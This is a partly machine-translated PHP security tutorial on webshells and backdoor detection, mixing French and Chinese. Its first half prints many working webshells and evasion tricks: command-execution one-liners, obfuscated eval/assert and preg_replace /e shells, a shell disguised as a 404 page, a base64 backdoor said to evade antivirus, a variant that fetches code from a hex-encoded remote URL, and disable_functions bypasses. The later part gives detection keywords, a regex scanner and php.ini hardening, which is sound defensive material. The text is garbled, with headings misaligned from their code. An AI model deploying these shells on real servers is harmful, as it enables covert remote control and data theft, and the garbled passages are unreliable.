Maison >développement back-end >tutoriel php >Explication détaillée des exemples de webshell de sécurité PHP et de détection de porte dérobée
Les applications basées sur PHP sont confrontées à diverses attaques :
XSS : pour les applications Web PHP, le cross-site scripting est un point vulnérable. Les attaquants peuvent l'utiliser pour voler des informations sur les utilisateurs. Vous pouvez configurer Apache, ou écrire du code PHP plus sécurisé (valider toutes les entrées utilisateur) pour empêcher les attaques XSS
Injection SQL : Ceci est une application PHP, Points vulnérables au niveau de la couche base de données. Les méthodes de prévention sont les mêmes que ci-dessus. Une méthode courante consiste à utiliser mysql_real_escape_string() pour échapper aux paramètres, puis effectuer des requêtes SQL.
Téléchargement de fichiers : Il permet aux visiteurs de placer (c'est-à-dire de télécharger) des fichiers sur le serveur. Cela entraînera une série de problèmes, tels que la suppression des fichiers du serveur, des bases de données et l'obtention d'informations sur les utilisateurs. Vous pouvez utiliser PHP pour interdire le téléchargement de fichiers ou écrire du code plus sécurisé (par exemple, vérifier la saisie de l'utilisateur et autoriser uniquement le téléchargement de formats d'image tels que png et gif)
Contient des fichiers locaux ou Fichiers distants : un attaquant peut amener un serveur distant à ouvrir un fichier, à exécuter n'importe quel code PHP, puis à télécharger ou supprimer le fichier, en installant une porte dérobée. Vous pouvez l'empêcher en annulant le paramétrage de l'exécution de fichiers à distance
eval/assert : Cette fonction peut faire une section String s'exécute comme du code PHP. Il est couramment utilisé par les attaquants pour cacher du code et des outils sur les serveurs. En configurant PHP et en annulant eval et d'autres appels de fonction pour réaliser
Attaque Sea-surt (falsification de requêtes intersites, CSRF. Falsification de requêtes intersites) : cette attaque provoquera la fin utilisateur pour effectuer un comportement non spécifié sous le compte actuel. Cela compromet les données des utilisateurs finaux et la sécurité opérationnelle. Si le compte de l'utilisateur final cible est utilisé avec des privilèges d'administrateur, l'intégralité de l'application Web sera compromise.
Voici les méthodes d'attaque mentionnées en gras
Avec l'augmentation du volume d'affaires, de plus en plus de hackers attaquent. et l'analyse, plus la sécurité du site Web devient importante. Les pirates peuvent prendre le contrôle du serveur sans y prêter attention. La méthode la plus courante consiste à télécharger des fichiers de chevaux de Troie via des requêtes POST, afin que des commandes arbitraires puissent être exécutées. être mauvais s'il est contrôlé
Nous devons donc quand même faire attention à la sécurité du serveur
La porte dérobée la plus populaire s'appelle un cheval de Troie en une phrase, et sa forme est la suivante :
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST["cmd"]); system($cmd); echo "$cmd
"; die; } ?>
Ceci est facilement détecté par les logiciels de sécurité. Afin d'améliorer la dissimulation, diverses déformations de chevaux de Troie d'une phrase sont apparues, masquées par diverses fonctions Je dois me plaindre ici que les types PHP faibles sont fatals à la sécurité
a. Utilisez la fonction<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?> //说明:请求参数 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==")) 最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>b. Utilisez la fonction str_rot13
<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?> //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。c. 🎜>
<?php $filename=$_GET['code'];include ($filename); ?> //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。e, utilisez session
<?php if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents(sprintf('%s? %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null); ?>f, cachez-vous dans la page html
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');g. Utilisez la fonction assert
nbsp;HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>ou
<?php assert($_POST[sb]);?>h. Utilisez la fonction
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['iixosmse']);
<?php $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);ou
<?php @$_++; // $_ = 1 $=("#"^"|"); // $ = _ $.=("."^"~"); // _P $.=("/"^"`"); // _PO $.=("|"^"/"); // _POS $.=("{"^"/"); // _POST ${$}[!$_](${$}[$_]); // $_POST[0]($_POST[1]); ?>peut être générée à l'aide de l'outil weevely. Le code est déguisé pour éviter divers logiciels antivirus grand public
<?php $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="; $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"; $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"; $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe"); $jgfi = $ftdf("l","","lclrlelaltel_functlilon"); $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm(); ?>PHP. outil de génération de portes dérobées weevely weevely est un logiciel gratuit pour PHP webshell, qui peut être utilisé pour simuler un shell de connexion similaire à telnet. Weevely est généralement utilisé pour exploiter les vulnérabilités des programmes Web, masquer les portes dérobées ou utiliser un telnet. Comme méthode pour remplacer le Web Avec la gestion basée sur les pages, le code PHP côté serveur généré par weevely est codé en base64, il peut donc tromper les logiciels antivirus traditionnels et l'IDS. Après avoir téléchargé le code côté serveur, il peut généralement être exécuté. directement via Weevely.
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
更常用的混淆视听的方法:(这种是服务器层面的混淆)
修改文件时间
改名融入上传后所在文件夹,让人无法直观看出文件异常
文件大小的伪装处理(至少看起大小像个正常脚本)
选好藏身路径并尽量少的访问
畸形目录%20
一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?
<?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?>
php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.
<?php $cb= 'system'; ob_start($cb); echo $_GET[c]; ob_end_flush(); ?>
php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等
直观寻找方式也有很多
通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
通过access.log访问日志分析
下面是360 zhujiweishi ,在linux服务器上非常简单好用
通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)
系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通过简单的python脚本
#!/usr/bin/env python # encoding: utf-8 import os,sys import re import hashlib import time rulelist = [ '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))', '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))', '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})', '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))', '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))', '(\$(\w+)\s*\(\s.chr\(\d+\)\))', '(\$(\w+)\s*\$\{(.*)\})', '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))', '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))', '(\$\_\=(.*)\$\_)', '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))', '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))', '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))', '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))', '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))', '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))', '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))', '(eval\s*\(\s*\(\s*\$\$(\w+))', '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))', '(preg\_replace\s*\((.*)\(base64\_decode\(\$)' ] def scan(path): print(' 可疑文件 ') print('*'*30) for root,dirs,files in os.walk(path): for filespath in files: if os.path.getsize(os.path.join(root,filespath))<1024000: file= open(os.path.join(root,filespath)) filestr = file.read() file.close() for rule in rulelist: result = re.compile(rule).findall(filestr) if result: print '文件:'+os.path.join(root,filespath ) print '恶意代码:'+str(result[0][0:200]) print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath))))) print '\n\n' break def md5sum(md5_file): m = hashlib.md5() fp = open(md5_file) m.update(fp.read()) return m.hexdigest() fp.close() if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477': if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b': pass else: print('*'*40) print "\033[31m sshd被修改,疑似留有后门\033[m" print('*'*40) time.sleep(5) if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55': if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838': pass else: print('*'*40) print "\033[31m sshd被修改,疑似留有后门\033[m" print('*'*40) time.sleep(5) if name=='main': if len(sys.argv)!=2: print '参数错误' print "\t按恶意代码查找:"+sys.argv[0]+'目录名' if os.path.lexists(sys.argv[1]) == False: print "目录不存在" exit() print ('\n\n开始查找:'+sys.argv[1]) if len(sys.argv) ==2: scan(sys.argv[1]) else: exit()
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir
设置“safe_mode”为“on”
禁止“open_basedir” 可以禁止指定目录之外的文件操作
expose_php设为off 这样php不会在http文件头中泄露信息
设置“allow_url_fopen”为“off” 可禁止远程文件功能
log_errors”设为“on” 错误日志开启
所有用户提交的信息 post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
如用开源代码,有补丁出来的话,尽快打上补丁
如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!